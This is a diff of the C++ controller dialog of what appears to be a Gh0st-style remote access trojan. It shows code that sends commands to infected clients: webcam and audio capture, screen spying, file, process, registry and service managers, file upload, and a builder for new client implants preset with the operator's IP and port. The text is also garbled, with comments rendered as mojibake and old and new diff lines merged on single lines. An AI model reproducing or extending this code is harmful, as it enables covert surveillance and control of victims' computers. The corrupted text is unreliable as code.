SendSelectedCommand((PBYTE)buffer, 1 + sizeof(ULONGLONG) + fileSize + 1);
delete[] buffer;
}
else {
AfxMessageBox("<EFBFBD><EFBFBD>ȡ<EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><EFBFBD>: "+ CString(path));
}
}
void CMy2015RemoteDlg::OnOnlineDelete() void CMy2015RemoteDlg::OnOnlineDelete()
{ {
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (IDYES != MessageBox(_T("ȷ<EFBFBD><EFBFBD>ɾ<EFBFBD><EFBFBD>ѡ<EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><EFBFBD>ؼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?"), _T("<EFBFBD><EFBFBD>ʾ"), MB_ICONQUESTION | MB_YESNO))
return;
BYTE bToken = COMMAND_BYE; //<2F>򱻿ض˷<D8B6><CBB7><EFBFBD>һ<EFBFBD><D2BB>COMMAND_SYSTEM BYTE bToken = COMMAND_BYE; //<2F>򱻿ض˷<D8B6><CBB7><EFBFBD>һ<EFBFBD><D2BB>COMMAND_SYSTEM
SendSelectedCommand(&bToken, sizeof(BYTE)); //Context PreSending PostSending SendSelectedCommand(&bToken, sizeof(BYTE)); //Context PreSending PostSending
CString strIP; EnterCriticalSection(&m_cs);
int iCount = m_CList_Online.GetSelectedCount(); int iCount = m_CList_Online.GetSelectedCount();
int i = 0; for (int i=0;i<iCount;++i)
for (i=0;i<iCount;i++)
{ {
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
int iItem = m_CList_Online.GetNextSelectedItem(Pos); int iItem = m_CList_Online.GetNextSelectedItem(Pos);
strIP = m_CList_Online.GetItemText(iItem,ONLINELIST_IP); CString strIP = m_CList_Online.GetItemText(iItem,ONLINELIST_IP);
m_CList_Online.DeleteItem(iItem); m_CList_Online.DeleteItem(iItem);
strIP+="<EFBFBD>Ͽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"; strIP+="<EFBFBD>Ͽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
ShowMessage(true,strIP); ShowMessage(true,strIP);
} }
LeaveCriticalSection(&m_cs);
} }
VOID CMy2015RemoteDlg::OnOnlineCmdManager() VOID CMy2015RemoteDlg::OnOnlineCmdManager()
@@ -698,8 +761,6 @@ VOID CMy2015RemoteDlg::OnOnlineProcessManager()
SendSelectedCommand(&bToken, sizeof(BYTE)); SendSelectedCommand(&bToken, sizeof(BYTE));
} }
VOID CMy2015RemoteDlg::OnOnlineWindowManager() VOID CMy2015RemoteDlg::OnOnlineWindowManager()
{ {
BYTE bToken = COMMAND_WSLIST; BYTE bToken = COMMAND_WSLIST;
@@ -715,27 +776,30 @@ VOID CMy2015RemoteDlg::OnOnlineDesktopManager()
VOID CMy2015RemoteDlg::OnOnlineFileManager() VOID CMy2015RemoteDlg::OnOnlineFileManager()
{ {
BYTE bToken = COMMAND_LIST_DRIVE; //<2F><><EFBFBD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD> #if INDEPENDENT
//<2F>򱻿ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD>ϢCOMMAND_LIST_DRIVE <20>ڱ<EFBFBD><DAB1>ض<EFBFBD><D8B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>COMMAND_LIST_DRIVE BYTE bToken = COMMAND_LIST_DRIVE;
SendSelectedCommand(&bToken, sizeof(BYTE)); SendSelectedCommand(&bToken, sizeof(BYTE));
#else
if(m_CList_Online.GetFirstSelectedItemPosition())
ShowMessage(FALSE, "<EFBFBD>˹<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͣʹ<EFBFBD><EFBFBD>");
#endif
} }
VOID CMy2015RemoteDlg::OnOnlineAudioManager() VOID CMy2015RemoteDlg::OnOnlineAudioManager()
{ {
BYTE bToken = COMMAND_AUDIO; //<2F>򱻿ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> BYTE bToken = COMMAND_AUDIO;
SendSelectedCommand(&bToken, sizeof(BYTE)); SendSelectedCommand(&bToken, sizeof(BYTE));
} }
VOID CMy2015RemoteDlg::OnOnlineVideoManager() VOID CMy2015RemoteDlg::OnOnlineVideoManager()
{ {
BYTE bToken = COMMAND_WEBCAM; //<2F>򱻿ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> BYTE bToken = COMMAND_WEBCAM;
SendSelectedCommand(&bToken, sizeof(BYTE)); SendSelectedCommand(&bToken, sizeof(BYTE));
} }
VOID CMy2015RemoteDlg::OnOnlineServerManager() VOID CMy2015RemoteDlg::OnOnlineServerManager()
{ {
BYTE bToken = COMMAND_SERVICES; //<2F><>ֵһ<D6B5><D2BB><EFBFBD><EFBFBD> Ȼ<><C8BB><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>COMMAND_SYSTEM BYTE bToken = COMMAND_SERVICES;
SendSelectedCommand(&bToken, sizeof(BYTE)); SendSelectedCommand(&bToken, sizeof(BYTE));
} }
@@ -749,61 +813,71 @@ void CMy2015RemoteDlg::OnOnlineBuildClient()
{ {
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CBuildDlg Dlg; CBuildDlg Dlg;
Dlg.m_strIP = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "localIp", "");
CString Port;
Port.Format("%d", ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost"));
Dlg.m_strPort = Port;
Dlg.DoModal(); Dlg.DoModal();
} }
VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength) VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
{ {
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); //1[pcontext client] 2 3 //1 2 EnterCriticalSection(&m_cs);
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
while(Pos) while(Pos)
{ {
int iItem = m_CList_Online.GetNextSelectedItem(Pos); int iItem = m_CList_Online.GetNextSelectedItem(Pos);
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem); //<2F><><EFBFBD>б<EFBFBD><D0B1><EFBFBD>Ŀ<EFBFBD><C4BF>ȡ<EFBFBD><C8A1>ClientContext<78><EFBFBD><E1B9B9> CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
// <20><><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD>ݰ<EFBFBD> //<2F>鿴ClientContext<78><EFBFBD><E1B9B9> // <20><><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD>ݰ<EFBFBD>
m_iocpServer->OnClientPreSending(ContextObject,szBuffer, ulLength); //Cleint Context m_iocpServer->OnClientPreSending(ContextObject,szBuffer, ulLength);
} }
LeaveCriticalSection(&m_cs);
} }
//<2F><><EFBFBD><EFBFBD>Bar //<2F><><EFBFBD><EFBFBD>Bar
VOID CMy2015RemoteDlg::OnAbout() VOID CMy2015RemoteDlg::OnAbout()
{ {
MessageBox("Copyleft (c) FTU 2019", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"); MessageBox("Copyleft (c) FTU 2025", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
} }
//<2F><><EFBFBD><EFBFBD>Menu //<2F><><EFBFBD><EFBFBD>Menu
void CMy2015RemoteDlg::OnNotifyShow() void CMy2015RemoteDlg::OnNotifyShow()
{ {
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> BOOL v= IsWindowVisible();
ShowWindow(SW_SHOW); ShowWindow(v? SW_HIDE : SW_SHOW);
} }
void CMy2015RemoteDlg::OnNotifyExit() void CMy2015RemoteDlg::OnNotifyExit()
{ {
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Release();
CDialogEx::OnOK(); // <20>رնԻ<D5B6><D4BB><EFBFBD>
SendMessage(WM_CLOSE);
} }
//<2F><>̬<EFBFBD>˵<EFBFBD> //<2F><>̬<EFBFBD>˵<EFBFBD>
void CMy2015RemoteDlg::OnMainSet() void CMy2015RemoteDlg::OnMainSet()
{ {
int nMaxConnection = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "MaxConnection");
CSettingDlg Dlg; CSettingDlg Dlg;
Dlg.DoModal(); //ģ̬ <20><><EFBFBD><EFBFBD> Dlg.DoModal(); //ģ̬ <20><><EFBFBD><EFBFBD>
if (nMaxConnection != Dlg.m_nMax_Connect)
{
m_iocpServer->UpdateMaxConnection(Dlg.m_nMax_Connect);
}
} }
void CMy2015RemoteDlg::OnMainExit() void CMy2015RemoteDlg::OnMainExit()
{ {
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Release();
SendMessage(WM_CLOSE); CDialogEx::OnOK(); // <20>رնԻ<D5B6><D4BB><EFBFBD>
} }
VOID CMy2015RemoteDlg::ListenPort() BOOL CMy2015RemoteDlg::ListenPort()
{ {
int nPort = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost"); int nPort = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost");
//<2F><>ȡini <20>ļ<EFBFBD><C4BC>еļ<D0B5><C4BC><EFBFBD><EFBFBD>˿<EFBFBD> //<2F><>ȡini <20>ļ<EFBFBD><C4BC>еļ<D0B5><C4BC><EFBFBD><EFBFBD>˿<EFBFBD>
@@ -813,33 +887,35 @@ VOID CMy2015RemoteDlg::ListenPort()
nPort = 6543; nPort = 6543;
if (nMaxConnection <= 0) if (nMaxConnection <= 0)
nMaxConnection = 10000; nMaxConnection = 10000;
Activate(nPort,nMaxConnection); //<2F><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD> return Activate(nPort,nMaxConnection); //<2F><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>
} }
VOID CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection) BOOL CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection)
{ {
m_iocpServer = new IOCPServer; //<2F><>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> m_iocpServer = new IOCPServer; //<2F><>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
UINT ret = 0;
if (m_iocpServer==NULL) if ( (ret=m_iocpServer->StartServer(NotifyProc, OfflineProc, nPort)) !=0 )
{
return;
}
if (m_iocpServer->StartServer(NotifyProc, OfflineProc, nPort)==FALSE)
{ {
OutputDebugStringA("======> StartServer Failed \n"); OutputDebugStringA("======> StartServer Failed \n");
char code[32];
sprintf_s(code, "%d", ret);
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ú<EFBFBD><EFBFBD><EFBFBD>StartServerʧ<EFBFBD><EFBFBD>! <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:"+CString(code));
delete m_iocpServer;
m_iocpServer = NULL;
return FALSE;
} }
CString strTemp; CString strTemp;
strTemp.Format("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD>: %d<>ɹ<EFBFBD>", nPort); strTemp.Format("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD>: %d<>ɹ<EFBFBD>", nPort);
ShowMessage(true,strTemp); ShowMessage(true,strTemp);
return TRUE;
} }
VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject) VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
{ {
AUTO_TICK(5); AUTO_TICK(20);
MessageHandle(ContextObject); MessageHandle(ContextObject);
} }
@@ -921,7 +997,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
return; return;
} }
switch (ContextObject->InDeCompressedBuffer.GetBuffer(0)[0]) switch (ContextObject->InDeCompressedBuffer.GetBYTE(0))
{ {
case COMMAND_BYE: case COMMAND_BYE:
{ {
@@ -989,7 +1065,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
CString strIP, strAddr, strPCName, strOS, strCPU, strVideo, strPing; CString strIP, strAddr, strPCName, strOS, strCPU, strVideo, strPing;
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ClientContext <20><><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ClientContext <20><><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (ContextObject == NULL) if (ContextObject == NULL || isClosed)
{ {
return -1; return -1;
} }
@@ -997,43 +1073,31 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
CString strToolTipsText; CString strToolTipsText;
try try
{ {
// <20><><EFBFBD>Ϸ<EFBFBD><CFB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>
if (ContextObject->InDeCompressedBuffer.GetBufferLength() != sizeof(LOGIN_INFOR))
{
return -1;
}
LOGIN_INFOR* LoginInfor = (LOGIN_INFOR*)ContextObject->InDeCompressedBuffer.GetBuffer();
sockaddr_in ClientAddr; sockaddr_in ClientAddr;
memset(&ClientAddr, 0, sizeof(ClientAddr)); memset(&ClientAddr, 0, sizeof(ClientAddr));
int iClientAddrLen = sizeof(sockaddr_in); int iClientAddrLen = sizeof(sockaddr_in);
SOCKET nSocket = ContextObject->sClientSocket; SOCKET nSocket = ContextObject->sClientSocket;
BOOL bOk = getpeername(nSocket,(SOCKADDR*)&ClientAddr, &iClientAddrLen); //IP C <---IP BOOL bOk = getpeername(nSocket, (SOCKADDR*)&ClientAddr, &iClientAddrLen);
// <20><><EFBFBD>Ϸ<EFBFBD><CFB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>
if (ContextObject->InDeCompressedBuffer.GetBufferLength() != sizeof(LOGIN_INFOR))
{
char buf[100];
sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", inet_ntoa(ClientAddr.sin_addr));
OutputDebugStringA(buf);
return -1;
}
LOGIN_INFOR* LoginInfor = new LOGIN_INFOR;
ContextObject->InDeCompressedBuffer.CopyBuffer((LPBYTE)LoginInfor, sizeof(LOGIN_INFOR), 0);
strIP = inet_ntoa(ClientAddr.sin_addr); strIP = inet_ntoa(ClientAddr.sin_addr);
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
strPCName = LoginInfor->szPCName; strPCName = LoginInfor->szPCName;
switch (LoginInfor->OsVerInfoEx.dwPlatformId) //<2F><EFBFBD><E6B1BE>Ϣ
{ strOS = LoginInfor->OsVerInfoEx;
case VER_PLATFORM_WIN32_NT:
if (LoginInfor->OsVerInfoEx.dwMajorVersion <= 4 )
strOS = "WindowsNT";
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 0 )
strOS = "Windows2000";
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 1 )
strOS = "WindowsXP";
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 2 )
strOS = "Windows2003";
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 0 )
strOS = "WindowsVista";
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 1 )
strOS = "Windows7";
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 2 )
strOS = "Windows8";
}
//CPU //CPU
strCPU.Format("%dMHz", LoginInfor->dwCPUMHz); strCPU.Format("%dMHz", LoginInfor->dwCPUMHz);
@@ -1044,10 +1108,13 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
strVideo = LoginInfor->bWebCamIsExist ? "<EFBFBD><EFBFBD>" : "<EFBFBD><EFBFBD>"; strVideo = LoginInfor->bWebCamIsExist ? "<EFBFBD><EFBFBD>" : "<EFBFBD><EFBFBD>";
strAddr.Format("%d", nSocket); strAddr.Format("%d", nSocket);
AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime,
AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,ContextObject); LoginInfor->szReserved,ContextObject);
delete LoginInfor;
return S_OK; return S_OK;
}catch(...){} }catch(...){
OutputDebugStringA("[ERROR] OnUserToOnlineList catch an error \n");
}
return -1; return -1;
} }
@@ -1066,7 +1133,6 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
{ {
ip = m_CList_Online.GetItemText(i, ONLINELIST_IP); ip = m_CList_Online.GetItemText(i, ONLINELIST_IP);
m_CList_Online.DeleteItem(i); m_CList_Online.DeleteItem(i);
m_iCount--;
ShowMessage(true, ip + "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"); ShowMessage(true, ip + "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
break; break;
} }
@@ -1074,10 +1140,16 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
dlgInfo *p = (dlgInfo *)wParam; dlgInfo *p = (dlgInfo *)wParam;
if (p && p->v1 > 0) if (p)
{ {
switch(p->v1) switch(p->v1)
{ {
case TALK_DLG:
{
CTalkDlg *Dlg = (CTalkDlg*)p->hDlg;
delete Dlg;
break;
}
case VIDEO_DLG: case VIDEO_DLG:
{ {
CVideoDlg *Dlg = (CVideoDlg*)p->hDlg; CVideoDlg *Dlg = (CVideoDlg*)p->hDlg;
@@ -1117,18 +1189,19 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
case FILEMANAGER_DLG: case FILEMANAGER_DLG:
{ {
CFileManagerDlg *Dlg = (CFileManagerDlg*)p->hDlg; CFileManagerDlg *Dlg = (CFileManagerDlg*)p->hDlg;
::SendMessage(Dlg->GetSafeHwnd(), WM_CLOSE, 0, 0); delete Dlg;
//delete Dlg; <20><><EFBFBD><EFBFBD><E2B4A6>
break; break;
} }
case REGISTER_DLG: case REGISTER_DLG:
{ {
CRegisterDlg *Dlg = (CRegisterDlg*)p->hDlg; CRegisterDlg *Dlg = (CRegisterDlg*)p->hDlg;
delete Dlg; //delete Dlg; //<2F><><EFBFBD><EFBFBD><E2B4A6>
break; break;
} }
default:break;
} }
delete p; delete p;
p = NULL;
} }
return S_OK; return S_OK;
@@ -1141,7 +1214,7 @@ LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
CScreenSpyDlg *Dlg = new CScreenSpyDlg(this,m_iocpServer, ContextObject); //Send s CScreenSpyDlg *Dlg = new CScreenSpyDlg(this,m_iocpServer, ContextObject); //Send s
// <20><><EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD>Ϊ׿<CEAA><D7BF> // <20><><EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD>Ϊ׿<CEAA><D7BF>
Dlg->Create(IDD_DIALOG_SCREEN_SPY, GetDesktopWindow()); Dlg->Create(IDD_DIALOG_SCREEN_SPY, GetDesktopWindow());
Dlg->ShowWindow(SW_SHOW); Dlg->ShowWindow(SW_SHOWMAXIMIZED);
ContextObject->v1 = SCREENSPY_DLG; ContextObject->v1 = SCREENSPY_DLG;
ContextObject->hDlg = Dlg; ContextObject->hDlg = Dlg;
@@ -1162,6 +1235,7 @@ LRESULT CMy2015RemoteDlg::OnOpenFileManagerDialog(WPARAM wParam, LPARAM lParam)
ContextObject->v1 = FILEMANAGER_DLG; ContextObject->v1 = FILEMANAGER_DLG;
ContextObject->hDlg = Dlg; ContextObject->hDlg = Dlg;
EnterCriticalSection(&m_cs); EnterCriticalSection(&m_cs);
/*
for (std::vector<CFileManagerDlg *>::iterator iter = v_FileDlg.begin(); for (std::vector<CFileManagerDlg *>::iterator iter = v_FileDlg.begin();
iter != v_FileDlg.end(); ) iter != v_FileDlg.end(); )
{ {
@@ -1175,6 +1249,7 @@ LRESULT CMy2015RemoteDlg::OnOpenFileManagerDialog(WPARAM wParam, LPARAM lParam)
} }
} }
v_FileDlg.push_back(Dlg); v_FileDlg.push_back(Dlg);
*/
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
return 0; return 0;
@@ -1311,7 +1386,7 @@ LRESULT CMy2015RemoteDlg::OnOpenVideoDialog(WPARAM wParam, LPARAM lParam)
BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo) BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo)
{ {
MessageBox("Copyleft (c) FTU 2019", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"); MessageBox("Copyleft (c) FTU 2025", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
return TRUE; return TRUE;
} }

View File

@@ -9,21 +9,17 @@
////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////
// <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9> // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9>
// <20>Ƿ<EFBFBD><C7B7><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
#define SHOW_NOTIFY 1 #define INDEPENDENT 1
////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////
typedef struct _LOGIN_INFOR #if INDEPENDENT
{ // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>ض<EFBFBD>ʱҲ<CAB1>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
BYTE bToken; // = 1 //<2F><>½<EFBFBD><C2BD>Ϣ #define CLIENT_EXIT_WITH_SERVER 0
OSVERSIONINFOEX OsVerInfoEx; // <20><EFBFBD><E6B1BE>Ϣ #else
DWORD dwCPUMHz; // CPU<50><55>Ƶ #define CLIENT_EXIT_WITH_SERVER 1
IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ #endif
char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL bWebCamIsExist; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
DWORD dwSpeed; // <20><><EFBFBD><EFBFBD>
}LOGIN_INFOR,*PLOGIN_INFOR;
// CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD> // CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
class CMy2015RemoteDlg : public CDialogEx class CMy2015RemoteDlg : public CDialogEx
@@ -48,41 +44,43 @@ protected:
DECLARE_MESSAGE_MAP() DECLARE_MESSAGE_MAP()
public: public:
VOID CMy2015RemoteDlg::InitControl(); //<2F><>ʼ<EFBFBD>ؼ<EFBFBD> VOID InitControl(); //<2F><>ʼ<EFBFBD>ؼ<EFBFBD>
VOID CMy2015RemoteDlg::TestOnline(); //<2F><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD> VOID TestOnline(); //<2F><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>
VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS,
CString strCPU, CString strVideo, CString strPing,CONTEXT_OBJECT* ContextObject); CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CString tp, CONTEXT_OBJECT* ContextObject);
VOID CMy2015RemoteDlg::ShowMessage(BOOL bOk, CString strMsg); VOID ShowMessage(BOOL bOk, CString strMsg);
VOID CMy2015RemoteDlg::CreatStatusBar(); VOID CreatStatusBar();
VOID CMy2015RemoteDlg::CreateToolBar(); VOID CreateToolBar();
VOID CMy2015RemoteDlg::CreateNotifyBar(); VOID CreateNotifyBar();
VOID CMy2015RemoteDlg::CreateSolidMenu(); VOID CreateSolidMenu();
VOID CMy2015RemoteDlg::ListenPort(); BOOL ListenPort();
VOID CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection); BOOL Activate(int nPort,int nMaxConnection);
static VOID CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject); static VOID CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
static VOID CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject); static VOID CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
static VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject); static VOID MessageHandle(CONTEXT_OBJECT* ContextObject);
VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength); VOID SendSelectedCommand(PBYTE szBuffer, ULONG ulLength);
// <20><>ʾ<EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ // <20><>ʾ<EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
CListCtrl m_CList_Online; CListCtrl m_CList_Online;
CListCtrl m_CList_Message; CListCtrl m_CList_Message;
CStatusBar m_StatusBar; //״̬<D7B4><CCAC> CStatusBar m_StatusBar; //״̬<D7B4><CCAC>
CTrueColorToolBar m_ToolBar; CTrueColorToolBar m_ToolBar;
